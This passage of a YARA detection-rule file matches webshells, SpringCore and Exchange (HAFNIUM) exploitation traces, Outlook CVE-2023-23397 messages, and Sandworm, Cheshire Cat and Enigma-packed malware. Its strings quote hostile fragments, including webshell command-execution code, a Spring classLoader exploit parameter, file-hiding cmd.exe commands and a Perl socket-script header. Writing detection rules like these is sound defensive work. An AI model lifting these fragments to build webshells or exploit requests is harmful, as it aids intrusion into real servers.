		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
		id = "18e7f84e-27f2-532d-9ead-0db6e9e6c0b2"

	strings:
		$code = { 48 8B 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) ( 44 88 6? 24 ?? | C6 44 24 ?? 00 ) 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) C7 44 24 ?? 0? 00 00 00 2B ?8 48 89 ?C 24 ?? 44 89 6? 24 ?? 83 C? 08 89 ?C 24 ?? ( FF | 41 FF ) D? ( 05 | 8D 88 ) 00 00 00 3A }

	condition:
		all of them
}

rule WEBSHELL_JSP_Nov21_1
{
	meta:
		description = "Detects JSP webshells"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.ic3.gov/Media/News/2021/211117-2.pdf"
		date = "2021-11-23"
		score = 70
		id = "117eed28-c44e-5983-b4c7-b555fc06d923"

	strings:
		$x1 = "request.getParameter(\"pwd\")" ascii
		$x2 = "excuteCmd(request.getParameter(" ascii
		$x3 = "getRuntime().exec (request.getParameter(" ascii
		$x4 = "private static final String PW = \"whoami\"" ascii

	condition:
		filesize < 400KB and 1 of them
}

rule EXPL_POC_SpringCore_0day_Indicators_Mar22_1
{
	meta:
		description = "Detects indicators found after SpringCore exploitation attempts and in the POC script"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/vxunderground/status/1509170582469943303"
		date = "2022-03-30"
		score = 70
		id = "297e4b57-f831-56e0-a391-1ffbc9a4d438"

	strings:
		$x1 = "java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di"
		$x2 = "?pwd=j&cmd=whoami"
		$x3 = ".getParameter(%22pwd%22)"
		$x4 = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7B"

	condition:
		1 of them
}

rule EXPL_POC_SpringCore_0day_Webshell_Mar22_1
{
	meta:
		description = "Detects webshell found after SpringCore exploitation attempts POC script"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/vxunderground/status/1509170582469943303"
		date = "2022-03-30"
		score = 70
		id = "e7047c98-3c60-5211-9ad5-2bfdfb35d493"

	strings:
		$x1 = ".getInputStream(); int a = -1; byte[] b = new byte[2048];"
		$x2 = "if(\"j\".equals(request.getParameter(\"pwd\")"
		$x3 = ".getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"

	condition:
		filesize < 200KB and 1 of them
}

rule EnigmaPacker_Rare
{
	meta:
		description = "Detects an ENIGMA packed executable"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-04-27"
		score = 60
		hash1 = "77be6e80a4cfecaf50d94ee35ddc786ba1374f9fe50546f1a3382883cb14cec9"
		id = "748bc74c-e83f-5740-8ff7-f1371fc22802"

	strings:
		$s1 = "P.rel$oc$" fullword ascii
		$s2 = "ENIGMA" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 4000KB and all of them )
}

rule Enigma_Protected_Malware_May17_RhxFiles
{
	meta:
		description = "Auto-generated rule - file RhxFiles.dll"
		author = "Florian Roth (Nextron Systems) with the help of binar.ly"
		reference = "Internal Research"
		date = "2017-05-02"
		hash1 = "2187d6bd1794bf7b6199962d8a8677f19e4382a124c30933d01aba93cc1f0f15"
		id = "d701d591-4283-5645-8768-a5ab7df0f37a"

	strings:
		$op1 = { bd 9c 74 f6 7a 3a f7 94 c5 7d 7c 7c 7c 7e ae 73 }
		$op2 = { 82 62 6b 6b 6b 68 a5 ea aa 69 6b 6b 6b 3a 3b 94 }
		$op3 = { 7c 7c c5 7d 7c 7c 7c 7e ae 73 f9 79 7c 7c 7c f6 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 4000KB and all of them )
}

rule Enigma_Protected_Malware
{
	meta:
		description = "Detects samples packed by Enigma Protector"
		author = "Florian Roth (Nextron Systems) with the help of binar.ly"
		reference = "https://goo.gl/OEVQ9w"
		date = "2017-02-03"
		hash1 = "d4616f9706403a0d5a2f9a8726230a4693e4c95c58df5c753ccc684f1d3542e2"
		id = "d701d591-4283-5645-8768-a5ab7df0f37a"

	strings:
		$s1 = { 5d 5d 5d aa bf 5e 95 d6 dc 51 5d 5d 5d 5e 98 0d }
		$s2 = { 52 d9 47 5d 5d 5d dd a6 b4 52 d9 4c 5d 5d 5d 3b }
		$s3 = { 9f 59 14 52 d8 a9 a2 a2 a2 00 9f 51 5d d6 d1 79 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule blackenergy3_installer
{
	meta:
		author = "Mike Schladt"
		date = "2015-05-29"
		description = "Matches unique code block for import name construction "
		md5 = "78387651DD9608FCDF6BFB9DF8B84DB4"
		sha1 = "78636F7BBD52EA80D79B4E2A7882403092BBB02D"
		reference = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
		id = "4afeb7ac-ce8d-506c-9c97-db7ec6102490"

	strings:
		$import_names = { C7 45 D0 75 73 65 72 C7 45 D4 33 32 2E 64 66 C7 45 D8 6C 6C 88 5D DA C7 45 84 61 64 76 61 C7 45 88 70 69 33 32 C7 45 8C 2E 64 6C 6C 88 5D 90 C7 45 B8 77 69 6E 69 C7 45 BC 6E 65 74 2E C7 45 C0 64 6C 6C 00 C7 45 C4 77 73 32 5F C7 45 C8 33 32 2E 64 66 C7 45 CC 6C 6C 88 5D CE C7 45 94 73 68 65 6C C7 45 98 6C 33 32 2E C7 45 9C 64 6C 6C 00 C7 45 E8 70 73 61 70 C7 45 EC 69 2E 64 6C 66 C7 45 F0 6C 00 C7 85 74 FF FF FF 6E 65 74 61 C7 85 78 FF FF FF 70 69 33 32 C7 85 7C FF FF FF 2E 64 6C 6C 88 5D 80 C7 85 64 FF FF FF 6F 6C 65 61 C7 85 68 FF FF FF 75 74 33 32 C7 85 6C FF FF FF 2E 64 6C 6C 88 9D 70 FF FF FF C7 45 DC 6F 6C 65 33 C7 45 E0 32 2E 64 6C 66 C7 45 E4 6C 00 C7 45 A0 76 65 72 73 C7 45 A4 69 6F 6E 2E C7 45 A8 64 6C 6C 00 C7 85 54 FF FF FF 69 6D 61 67 C7 85 58 FF FF FF 65 68 6C 70 C7 85 5C FF FF FF 2E 64 6C 6C 88 9D 60 FF FF FF C7 45 AC 61 70 70 68 C7 45 B0 65 6C 70 2E C7 45 B4 64 6C 6C 00 C7 45 F4 2E 64 6C 6C 88 5D F8 }

	condition:
		any of them
}

rule EXPL_LOG_CVE_2021_27065_Exchange_Forensic_Artefacts_Mar21_1 : LOG
{
	meta:
		description = "Detects forensic artefacts found in HAFNIUM intrusions exploiting CVE-2021-27065"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		date = "2021-03-02"
		id = "dcc1f741-cab0-5a0b-a261-a6bd05989723"

	strings:
		$s1 = "S:CMD=Set-OabVirtualDirectory.ExternalUrl='" ascii wide fullword

	condition:
		1 of them
}

rule EXPL_LOG_CVE_2021_26858_Exchange_Forensic_Artefacts_Mar21_1 : LOG
{
	meta:
		description = "Detects forensic artefacts found in HAFNIUM intrusions exploiting CVE-2021-26858"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		date = "2021-03-02"
		score = 65
		modified = "2021-03-04"
		id = "f6fa90c7-c2c0-56db-bf7b-dc146761a995"

	strings:
		$xr1 = /POST (\/owa\/auth\/Current\/themes\/resources\/logon\.css|\/owa\/auth\/Current\/themes\/resources\/owafont_ja\.css|\/owa\/auth\/Current\/themes\/resources\/lgnbotl\.gif|\/owa\/auth\/Current\/themes\/resources\/owafont_ko\.css|\/owa\/auth\/Current\/themes\/resources\/SegoeUI-SemiBold\.eot|\/owa\/auth\/Current\/themes\/resources\/SegoeUI-SemiLight\.ttf|\/owa\/auth\/Current\/themes\/resources\/lgnbotl\.gif)/

	condition:
		$xr1
}

rule LOG_APT_HAFNIUM_Exchange_Log_Traces_Mar21_1 : LOG
{
	meta:
		description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
		date = "2021-03-04"
		score = 65
		id = "a51f0bd5-c6fd-5ee4-9d30-9a6001778013"

	strings:
		$xr1 = /POST \/(ecp\/y\.js|ecp\/main\.css|ecp\/default\.flt|ecp\/auth\/w\.js|owa\/auth\/w\.js)[^\n]{100,600} (200|301|302) /
		$xr3 = /POST \/owa\/auth\/Current\/[^\n]{100,600} (DuckDuckBot\/1\.0;\+\(\+http:\/\/duckduckgo\.com\/duckduckbot\.html\)|facebookexternalhit\/1\.1\+\(\+http:\/\/www\.facebook\.com\/externalhit_uatext\.php\)|Mozilla\/5\.0\+\(compatible;\+Baiduspider\/2\.0;\+\+http:\/\/www\.baidu\.com\/search\/spider\.html\)|Mozilla\/5\.0\+\(compatible;\+Bingbot\/2\.0;\+\+http:\/\/www\.bing\.com\/bingbot\.htm\)|Mozilla\/5\.0\+\(compatible;\+Googlebot\/2\.1;\+\+http:\/\/www\.google\.com\/bot\.html|Mozilla\/5\.0\+\(compatible;\+Konqueror\/3\.5;\+Linux\)\+KHTML\/3\.5\.5\+\(like\+Gecko\)\+\(Exabot-Thumbnails\)|Mozilla\/5\.0\+\(compatible;\+Yahoo!\+Slurp;\+http:\/\/help\.yahoo\.com\/help\/us\/ysearch\/slurp\)|Mozilla\/5\.0\+\(compatible;\+YandexBot\/3\.0;\+\+http:\/\/yandex\.com\/bots\)|Mozilla\/5\.0\+\(X11;\+Linux\+x86_64\)\+AppleWebKit\/537\.36\+\(KHTML,\+like\+Gecko\)\+Chrome\/51\.0\.2704\.103\+Safari\/537\.3)/
		$xr4 = /POST \/ecp\/[^\n]{100,600} (ExchangeServicesClient\/0\.0\.0\.0|python-requests\/2\.19\.1|python-requests\/2\.25\.1)[^\n]{200,600} (200|301|302) /
		$xr5 = /POST \/(aspnet_client|owa)\/[^\n]{100,600} (antSword\/v2\.1|Googlebot\/2\.1\+\(\+http:\/\/www\.googlebot\.com\/bot\.html\)|Mozilla\/5\.0\+\(compatible;\+Baiduspider\/2\.0;\+\+http:\/\/www\.baidu\.com\/search\/spider\.html\))[^\n]{200,600} (200|301|302) /

	condition:
		1 of them
}

rule LOG_Exchange_Forensic_Artefacts_CleanUp_Activity_Mar21_1 : LOG
{
	meta:
		description = "Detects forensic artefacts showing cleanup activity found in HAFNIUM intrusions exploiting"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/jdferrell3/status/1368626281970024448"
		date = "2021-03-08"
		score = 70
		id = "95b19544-147b-5496-b717-669cbc488179"

	strings:
		$x1 = "cmd.exe /c cd /d C:/inetpub/wwwroot/aspnet_client" ascii wide
		$x2 = "cmd.exe /c cd /d C:\\inetpub\\wwwroot\\aspnet_client" ascii wide
		$s1 = "aspnet_client&del '"
		$s2 = "aspnet_client&attrib +h +s +r "
		$s3 = "&echo [S]"

	condition:
		1 of ( $x* ) or 2 of them
}

rule EXPL_LOG_CVE_2021_27055_Exchange_Forensic_Artefacts : LOG
{
	meta:
		description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
		author = "Zach Stanford - @svch0st, Florian Roth"
		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log"
		reference_2 = "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/"
		date = "2021-03-10"
		modified = "2021-03-15"
		score = 65
		id = "8b0110a9-fd03-5f7d-bdd8-03ff48bcac68"

	strings:
		$x1 = "ServerInfo~" ascii wide
		$sr1 = /\/ecp\/[0-9a-zA-Z]{1,3}\.js/ ascii wide
		$s1 = "/ecp/auth/w.js" ascii wide
		$s2 = "/owa/auth/w.js" ascii wide
		$s3 = "/owa/auth/x.js" ascii wide
		$s4 = "/ecp/main.css" ascii wide
		$s5 = "/ecp/default.flt" ascii wide
		$s6 = "/owa/auth/Current/themes/resources/logon.css" ascii wide

	condition:
		$x1 and 1 of ( $s* )
}

rule LOG_CVE_2021_27065_Exchange_Forensic_Artefacts_Mar21_2 : LOG
{
	meta:
		description = "Detects suspicious log entries that indicate requests as described in reports on HAFNIUM activity"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/"
		date = "2021-03-10"
		score = 65
		id = "37a26def-b360-518e-a4ab-9604a5b39afd"

	strings:
		$sr1 = /GET \/rpc\/ &CorrelationID=<empty>;&RequestId=[^\n]{40,600} (200|301|302)/

	condition:
		$sr1
}

rule Servantshell
{
	meta:
		author = "Arbor Networks ASERT Nov 2015"
		description = "Detects Servantshell malware"
		date = "2017-02-02"
		reference = "https://tinyurl.com/jmp7nrs"
		score = 70
		id = "f41e9191-0be1-59f7-9be4-e39c8a37b2c5"

	strings:
		$string1 = "SelfDestruction.cpp"
		$string2 = "SvtShell.cpp"
		$string3 = "InitServant"
		$string4 = "DeinitServant"
		$string5 = "CheckDT"

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule HKTL_EXPL_POC_LibSSH_Auth_Bypass_CVE_2023_2283_Jun23_1
{
	meta:
		description = "Detects POC code used in attacks against libssh vulnerability CVE-2023-2283"
		author = "Florian Roth"
		reference = "https://github.com/github/securitylab/tree/1786eaae7f90d87ce633c46bbaa0691d2f9bf449/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283"
		date = "2023-06-08"
		score = 85
		id = "e72eba33-686f-5fca-bca3-2b875d1ec224"

	strings:
		$s1 = "nprocs = %d" ascii fullword
		$s2 = "fork failed: %s" ascii fullword

	condition:
		uint16( 0 ) == 0x457f and all of them
}

rule CheshireCat_Sample2
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
		date = "2015-08-08"
		score = 70
		hash = "dc18850d065ff6a8364421a9c8f9dd5fcce6c7567f4881466cee00e5cd0c7aa8"
		id = "14448138-0af3-5669-8aa3-f9e773e2a008"

	strings:
		$s0 = "mpgvwr32.dll" fullword ascii
		$s1 = "Unexpected failure of wait! (%d)" fullword ascii
		$s2 = "\"%s\" /e%d /p%s" fullword ascii
		$s4 = "error in params!" fullword ascii
		$s5 = "sscanf" fullword ascii
		$s6 = "<>Param : 0x%x" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 4 of ( $s* )
}

rule CheshireCat_Gen1
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
		date = "2015-08-08"
		super_rule = 1
		score = 90
		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
		id = "2068feed-2101-5b12-9e36-db7b0f5cc4ec"

	strings:
		$x1 = "CAPESPN.DLL" fullword wide
		$x2 = "WINF.DLL" fullword wide
		$x3 = "NCFG.DLL" fullword wide
		$x4 = "msgrthlp.dll" fullword wide
		$x5 = "Local\\{c0d9770c-9841-430d-b6e3-575dac8a8ebf}" fullword ascii
		$x6 = "Local\\{1ef9f94a-5664-48a6-b6e8-c3748db459b4}" fullword ascii
		$a1 = "Interface\\%s\\info" fullword ascii
		$a2 = "Interface\\%s\\info\\%s" fullword ascii
		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
		$a4 = "CLSID\\%s\\info" fullword ascii
		$b1 = "Windows Shell Icon Handler" fullword wide
		$b2 = "Microsoft Shell Icon Handler" fullword wide
		$s1 = "\\StringFileInfo\\%s\\FileVersion" ascii
		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
		$s5 = "%sMutex" fullword ascii
		$s6 = "\\ShellIconCache" ascii
		$s7 = "+6Service Pack " fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 350KB and 7 of ( $s* ) and 2 of ( $a* ) and 1 of ( $b* ) and 1 of ( $x* )
}

rule CheshireCat_Gen2
{
	meta:
		description = "Cheshire Cat Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
		date = "2015-08-08"
		super_rule = 1
		score = 70
		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
		id = "b97b20bd-f6b9-512f-ba99-6c38ba7853be"

	strings:
		$a1 = "Interface\\%s\\info" fullword ascii
		$a2 = "Interface\\%s\\info\\%s" fullword ascii
		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
		$a4 = "CLSID\\%s\\info" fullword ascii
		$b1 = "Windows Shell Icon Handler" fullword wide
		$b2 = "Microsoft Shell Icon Handler" fullword wide
		$s1 = "\\StringFileInfo\\%s\\FileVersion" ascii
		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
		$s5 = "%sMutex" fullword ascii
		$s6 = "\\ShellIconCache" ascii
		$s7 = "+6Service Pack " fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 7 of ( $s* ) and 2 of ( $a* ) and 1 of ( $b* )
}

rule SUSP_EXPL_Msg_CVE_2023_23397_Mar23
{
	meta:
		description = "MSG file with a PidLidReminderFileParameter property, potentially exploiting CVE-2023-23397"
		author = "delivr.to, modified by Florian Roth, Nils Kuhnert, Arnim Rupp, marcin@ulikowski.pl"
		date = "2023-03-15"
		modified = "2023-03-17"
		score = 60
		reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
		hash = "47fee24586cd2858cfff2dd7a4e76dc95eb44c8506791ccc2d59c837786eafe3"
		hash = "582442ee950d546744f2fa078adb005853a453e9c7f48c6c770e6322a888c2cf"
		hash = "6c0087a5cbccb3c776a471774d1df10fe46b0f0eb11db6a32774eb716e1b7909"
		hash = "7fb7a2394e03cc4a9186237428a87b16f6bf1b66f2724aea1ec6a56904e5bfad"
		hash = "eedae202980c05697a21a5c995d43e1905c4b25f8ca2fff0c34036bc4fd321fa"
		id = "0a4d7bbe-1e17-5240-ad0f-29511752b267"

	strings:
		$psetid_app = { 02 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
		$psetid_meeting = { 90 DA D8 6E 0B 45 1B 10 98 DA 00 AA 00 3F 13 05 }
		$psetid_task = { 03 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
		$rfp = { 1F 85 00 00 }
		$u1 = { 00 00 5C 00 5C 00 }
		$fp_msi1 = {84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46}

	condition:
		uint32be( 0 ) == 0xD0CF11E0 and uint32be( 4 ) == 0xA1B11AE1 and 1 of ( $psetid* ) and $rfp and $u1 and not 1 of ( $fp* )
}

rule EXPL_SUSP_Outlook_CVE_2023_23397_Exfil_IP_Mar23
{
	meta:
		description = "Detects suspicious .msg file with a PidLidReminderFileParameter property exploiting CVE-2023-23397 (modified delivr.to rule - more specific = less FPs but limited to exfil using IP addresses, not FQDNs)"
		author = "delivr.to, Florian Roth, Nils Kuhnert, Arnim Rupp, marcin@ulikowski.pl"
		date = "2023-03-15"
		modified = "2023-03-18"
		score = 75
		reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
		hash = "47fee24586cd2858cfff2dd7a4e76dc95eb44c8506791ccc2d59c837786eafe3"
		hash = "582442ee950d546744f2fa078adb005853a453e9c7f48c6c770e6322a888c2cf"
		hash = "6c0087a5cbccb3c776a471774d1df10fe46b0f0eb11db6a32774eb716e1b7909"
		hash = "7fb7a2394e03cc4a9186237428a87b16f6bf1b66f2724aea1ec6a56904e5bfad"
		hash = "eedae202980c05697a21a5c995d43e1905c4b25f8ca2fff0c34036bc4fd321fa"
		hash = "e7a1391dd53f349094c1235760ed0642519fd87baf740839817d47488b9aef02"
		id = "d85bf1d9-aebe-5f8c-9dd4-c509f64e221a"

	strings:
		$psetid_app = { 02 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
		$psetid_meeting = { 90 DA D8 6E 0B 45 1B 10 98 DA 00 AA 00 3F 13 05 }
		$psetid_task = { 03 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
		$rfp = { 1F 85 00 00 }
		$u1 = { 5C 00 5C 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 3? 00 3? 00|3? 00 3? 00|3? 00) }
		$u2 = { 00 5C 5C (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 3? 3?|3? 3?|3?) }
		$fp_msi1 = {84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46}

	condition:
		( uint16( 0 ) == 0xCFD0 and 1 of ( $psetid* ) or uint32be( 0 ) == 0x789F3E22 ) and any of ( $u* ) and $rfp and not 1 of ( $fp* )
}

rule EXPL_SUSP_Outlook_CVE_2023_23397_SMTP_Mail_Mar23
{
	meta:
		author = "Nils Kuhnert"
		date = "2023-03-17"
		modified = "2023-03-24"
		description = "Detects suspicious *.eml files that include TNEF content that possibly exploits CVE-2023-23397. Lower score than EXPL_SUSP_Outlook_CVE_2023_23397_Exfil_IP_Mar23 as we're only looking for UNC prefix."
		score = 60
		reference = "https://twitter.com/wdormann/status/1636491612686622723"
		id = "922fae73-520d-5659-8331-f242c7c55810"

	strings:
		$mail1 = { 0A 46 72 6F 6D 3A 20 }
		$mail2 = { 0A 54 6F 3A }
		$mail3 = { 0A 52 65 63 65 69 76 65 64 3A }
		$tnef1 = "Content-Type: application/ms-tnef" ascii
		$tnef2 = "\x78\x9f\x3e\x22" base64
		$ipm1 = "IPM.Task" base64
		$ipm2 = "IPM.Appointment" base64
		$unc = "\x00\x00\x00\x5c\x5c" base64

	condition:
		all of ( $mail* ) and all of ( $tnef* ) and 1 of ( $ipm* ) and $unc
}

import "pe"

rule SUSP_Fake_AMSI_DLL_Jun23_1
{
	meta:
		description = "Detects an amsi.dll that has the same exports as the legitimate one but very different contents or file sizes"
		author = "Florian Roth"
		reference = "https://twitter.com/eversinc33/status/1666121784192581633?s=20"
		date = "2023-06-07"
		modified = "2023-06-12"
		score = 65
		id = "b12df9de-ecfb-562b-b599-87fa786a33bc"

	strings:
		$a1 = "Microsoft.Antimalware.Scan.Interface" ascii
		$a2 = "Amsi.pdb" ascii fullword
		$a3 = "api-ms-win-core-sysinfo-" ascii
		$a4 = "Software\\Microsoft\\AMSI\\Providers" wide
		$a5 = "AmsiAntimalware@" ascii
		$a6 = "AMSI UAC Scan" ascii
		$fp1 = "Wine builtin DLL"

	condition:
		uint16( 0 ) == 0x5a4d and ( pe.exports ( "AmsiInitialize" ) and pe.exports ( "AmsiScanString" ) ) and ( filesize > 200KB or filesize < 35KB or not 4 of ( $a* ) ) and not 1 of ( $fp* )
}

rule WEBSHELL_PAS_webshell
{
	meta:
		author = "FR/ANSSI/SDO (modified by Florian Roth)"
		description = "Detects P.A.S. PHP webshell - Based on DHS/FBI JAR-16-2029 (Grizzly  Steppe)"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 70
		id = "862aab77-936e-524c-8669-4f48730f4ed5"

	strings:
		$php = "<?php"
		$strreplace = "(str_replace("
		$md5 = ".substr(md5(strrev($"
		$gzinflate = "gzinflate"
		$cookie = "_COOKIE"
		$isset = "isset"

	condition:
		( filesize > 20KB and filesize < 200KB ) and all of them
}

rule WEBSHELL_PAS_webshell_ZIPArchiveFile
{
	meta:
		author = "FR/ANSSI/SDO (modified by Florian Roth)"
		description = "Detects an archive file created by P.A.S. for download operation"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 80
		id = "081cc65b-e51c-59fc-a518-cd986e8ee2f7"

	strings:
		$s1 = "Archive created by P.A.S. v."

	condition:
		$s1
}

rule WEBSHELL_PAS_webshell_PerlNetworkScript
{
	meta:
		author = "FR/ANSSI/SDO"
		description = "Detects PERL scripts created by P.A.S. webshell"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 90
		id = "1625b63f-ead7-5712-92b4-0ce6ecc49fd4"

	strings:
		$pl_start = "#!/usr/bin/perl\n$SIG{'CHLD'}='IGNORE'; use IO::Socket; use FileHandle;"
		$pl_status = "$o=\" [OK]\";$e=\" Error: \""
		$pl_socket = "socket(SOCKET, PF_INET, SOCK_STREAM,$tcp) or die print \"$l$e$!$l"
		$msg1 = "print \"$l OK! I\\'m successful connected.$l\""
		$msg2 = "print \"$l OK! I\\'m accept connection.$l\""

	condition:
		filesize < 6000 and ( $pl_start at 0 and all of ( $pl* ) ) or any of ( $msg* )
}

rule WEBSHELL_PAS_webshell_SQLDumpFile
{
	meta:
		author = "FR/ANSSI/SDO"
		description = "Detects SQL dump file created by P.A.S. webshell"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 90
		id = "4c26feeb-3031-5c91-9eeb-4b5fe9702e39"

	strings:
		$ = "-- [ SQL Dump created by P.A.S. ] --"

	condition:
		1 of them
}

rule APT_MAL_Sandworm_Exaramel_Configuration_Key
{
	meta:
		author = "FR/ANSSI/SDO"
		description = "Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[...]"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 80
		id = "8078de62-3dd2-5ee0-8bda-f508e4013144"

	strings:
		$ = "odhyrfjcnfkdtslt"

	condition:
		all of them
}

rule APT_MAL_Sandworm_Exaramel_Configuration_Name_Encrypted
{
	meta:
		author = "FR/ANSSI/SDO"
		description = "Detects the specific name of the configuration file in Exaramel malware as seen in sample e1ff72[...]"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 80
		id = "1c06f5fc-3435-51cd-92fb-17a4ab6b63ad"

	strings:
		$ = "configtx.json"

	condition:
		all of them
}

rule APT_MAL_Sandworm_Exaramel_Configuration_File_Plaintext
{
	meta:
		author = "FR/ANSSI/SDO"
		description = "Detects contents of the configuration file used by Exaramel (plaintext)"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 80
		id = "6f0d834b-e6c8-59e6-bf9a-b4fd9c0b2297"

	strings:
		$ = /{"Hosts":\[".{10,512}"\],"Proxy":".{0,512}","Version":".{1,32}","Guid":"/

	condition:
		all of them
}

rule APT_MAL_Sandworm_Exaramel_Configuration_File_Ciphertext
{
	meta:
		author = "FR/ANSSI/SDO"
		description = "Detects contents of the configuration file used by Exaramel (encrypted with key odhyrfjcnfkdtslt, sample e1ff72[...]"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 80
		id = "763dbb17-2bad-5b40-8a7b-b71bc5849cd9"

	strings:
		$ = { 6F B6 08 E9 A3 0C 8D 5E DD BE D4 }

	condition:
		all of them
}

rule APT_MAL_Sandworm_Exaramel_Socket_Path
{
	meta:
		author = "FR/ANSSI/SDO"
		description = "Detects path of the unix socket created to prevent concurrent executions in Exaramel malware"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 80
		id = "3aab84c9-9748-5d11-9cd7-efa9151036cf"

	strings:
		$ = "/tmp/.applocktx"

	condition:
		all of them
}

rule APT_MAL_Sandworm_Exaramel_Task_Names
{
	meta:
		author = "FR/ANSSI/SDO"
